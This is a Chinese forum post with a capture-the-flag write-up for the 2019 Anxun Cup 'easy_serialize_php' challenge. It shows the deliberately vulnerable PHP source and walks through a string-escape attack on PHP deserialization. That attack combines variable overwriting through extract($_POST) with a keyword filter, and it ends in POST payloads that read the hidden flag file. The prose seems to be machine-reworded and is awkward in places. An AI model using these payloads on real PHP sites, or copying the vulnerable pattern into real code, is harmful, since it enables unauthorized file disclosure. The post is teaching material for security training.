[安洵杯 2019]easy_serialize_php

[复制链接]
发表于 2026-2-13 22:44:19 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php - DGhh - 博客园 (cnblogs.com)
[安洵杯 2019]easy_serialize_php - 何止(h3zh1) - 博客园 (cnblogs.com)
涉及的考点是字符串逃逸
  1. <?php
  2. //GET一个f
  3. $function = @$_GET['f'];
  4. //定义过滤的字符串数组
  5. function filter($img){
  6.     $filter_arr = array('php','flag','php5','php4','fl1g');
  7.     //将数组元素拼接成正则表达式的形式
  8.     $filter = '/'.implode('|',$filter_arr).'/i';
  9.     //使用正则表达式替换掉这些字符串
  10.     return preg_replace($filter,'',$img);
  11. }
  12. if($_SESSION){
  13.     unset($_SESSION);
  14. }
  15. $_SESSION["user"] = 'guest';
  16. $_SESSION['function'] = $function;
  17. extract($_POST);
  18. //如果f不存在,就显示初始的帮助页面
  19. if(!$function){
  20.     echo '<a href="index.php?f=highlight_file">source_code</a>';
  21. }
  22. //如果GET请求中没有'img_path'参数
  23. if(!$_GET['img_path']){
  24.     //设置默认会话图片路径
  25.     $_SESSION['img'] = base64_encode('guest_img.png');
  26. }else{
  27.     //将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密)
  28.     $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
  29. }
  30. //将会话信息进行了序列化
  31. $serialize_info = filter(serialize($_SESSION));
  32. if($function == 'highlight_file'){
  33.     highlight_file('index.php');
  34. }else if($function == 'phpinfo'){
  35.     eval('phpinfo();'); //maybe you can find something in here!
  36. }else if($function == 'show_image'){
  37.     $userinfo = unserialize($serialize_info);
  38.     echo file_get_contents(base64_decode($userinfo['img']));
  39. }
复制代码
先来看一下末了的一段代码
  1. //f=highlight_file就显示index.php
  2. if($function == 'highlight_file'){
  3.     highlight_file('index.php');
  4. //f=phpinfo就显示PHP配置信息
  5. }else if($function == 'phpinfo'){
  6.     eval('phpinfo();'); //maybe you can find something in here!
  7. //最后一段就是我们拿到flag的关键吧,f=show_image,
  8. }else if($function == 'show_image'){
  9.     //反序列化后得到的会话数据
  10.     $userinfo = unserialize($serialize_info);
  11.     //输出base64解码后的图片内容
  12.     echo file_get_contents(base64_decode($userinfo['img']));
  13. }
复制代码
然后我们看看phpinfo内里有什么
看到auto_append_file函数内里有个 d0g3_f1ag.php,这肯定是我们要拿到flag的关键

  d0g3_f1ag.phpbase64加密为ZDBnM19mMWFnLnBocA==
  1. //将会话信息进行了序列化并且过滤
  2. $serialize_info = filter(serialize($_SESSION));
复制代码
继续向上看代码,上面的filter应该是对其传入的会话信息举行了一次过滤
然后出现了一个变量覆盖
  1. if($_SESSION){
  2.     unset($_SESSION);
  3. }
  4. $_SESSION["user"] = 'guest';
  5. $_SESSION['function'] = $function;
  6. extract($_POST);
复制代码
unset对$_SESSION举行了烧毁
背面又重新界说了$_SESSION
但是extract函数对变量举行了覆盖
   extract函数从数组中将变量导入到当前的符号表。
  举个栗子
  1. <?php
  2. $_SESSION["user"] = 'guest';
  3. $_SESSION['function'] = $function;
  4. var_dump($_SESSION);
  5. echo "<br/>";
  6. extract($_POST);
  7. var_dump($_SESSION);
  8. ?>
复制代码

POST一个flag上去就将_SESSION内里的值完全覆盖了

直接_SESSION['img']是不可的,由于背面还对_SESSION[img]又举行了一次加密,如许传到下面的值输出后就不精确了
以是我们必要让guest_img.png逃逸,让其不举行shal加密
然后得到了一个新的知识点
   php字符串逃逸
  举个栗子
  1. <?php
  2. $img['one'] = "flag";
  3. $img['two'] = "tqlu";
  4. $a = serialize($img);
  5. var_dump($a);
  6. ?>
复制代码
img是一个数组,将数组举行序列化后是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}"
  1. <?php
  2. $a='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}';
  3. var_dump(unserialize($a));
  4. $b='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}abc';
  5. var_dump(unserialize($b));
  6. ?>
复制代码

就算在}背面添加了abc,末了输出也是上面那那串反序列化的东西,阐明反序列化是会处理处罚垃圾信息的
反序列化是有肯定的范围的,对应的格式不能堕落,如果s:3:'one'那么s:3背面就就必须要有长度为3的字符串,否则就会向后继续要,这就算是逃逸
那我们如许构造一个数组呢
  1. <?php
  2. $_SESSION["user"] = 'guest';
  3. $_SESSION['function'] = 'a';
  4. $_SESSION['img']='ZDBnM19mMWFnLnBocA==';
  5. var_dump(serialize($_SESSION));
  6. ?>
复制代码
得到了如许一串
  1. a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码
由于要让guest_img.png举行逃逸,以是可以将img这段放到花括号外貌去,以是如许子写呢
  1. <?php
  2. $_SESSION["user"] = 'guest';
  3. $_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
  4. $_SESSION['img']='ZDBnM19mMWFnLnBocA==';
  5. var_dump(serialize($_SESSION));
  6. ?>
复制代码
  1. a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码
花括号外貌的是垃圾数据了
现在我们必要的数据是";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
就是我们可以过滤器过滤掉php大概flag将我们把不要的东西给去掉
我们不要的是;s:8:"function";s:42:"a"这一串东西,一共是24个字符
以是必要6个flag举行这个过滤
构造一下
  1. <?php
  2. $_SESSION["user"] = 'flagflagflagflagflagflag';
  3. $_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
  4. $_SESSION['img']='ZDBnM19mMWFnLnBocA==';
  5. var_dump(serialize($_SESSION));
  6. ?>
复制代码
实验出来是如许
  1. a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码
flag被过滤
  1. a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码
向后延24位,以是
  1. s:24就相当于  ;s:8:"function";s:42:"a"
  2. 我们剩下的是:
  3. a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}还剩下了user和img这两个值
  4. 去掉垃圾数据
  5. a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码
以是
为什么背面尚有加一个s:2:"aa";s:1:"a";,由于}不是被看成垃圾数据处理处罚了嘛,但是这个数组有三个值,以是我们在背面本身构造一个
  1. _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}
复制代码

在/d0g3_fllllllag中
base64后是L2QwZzNfZmxsbGxsbGFn照旧20位
直接改
  1. _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}
复制代码

这道题好抽象,想了好久
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表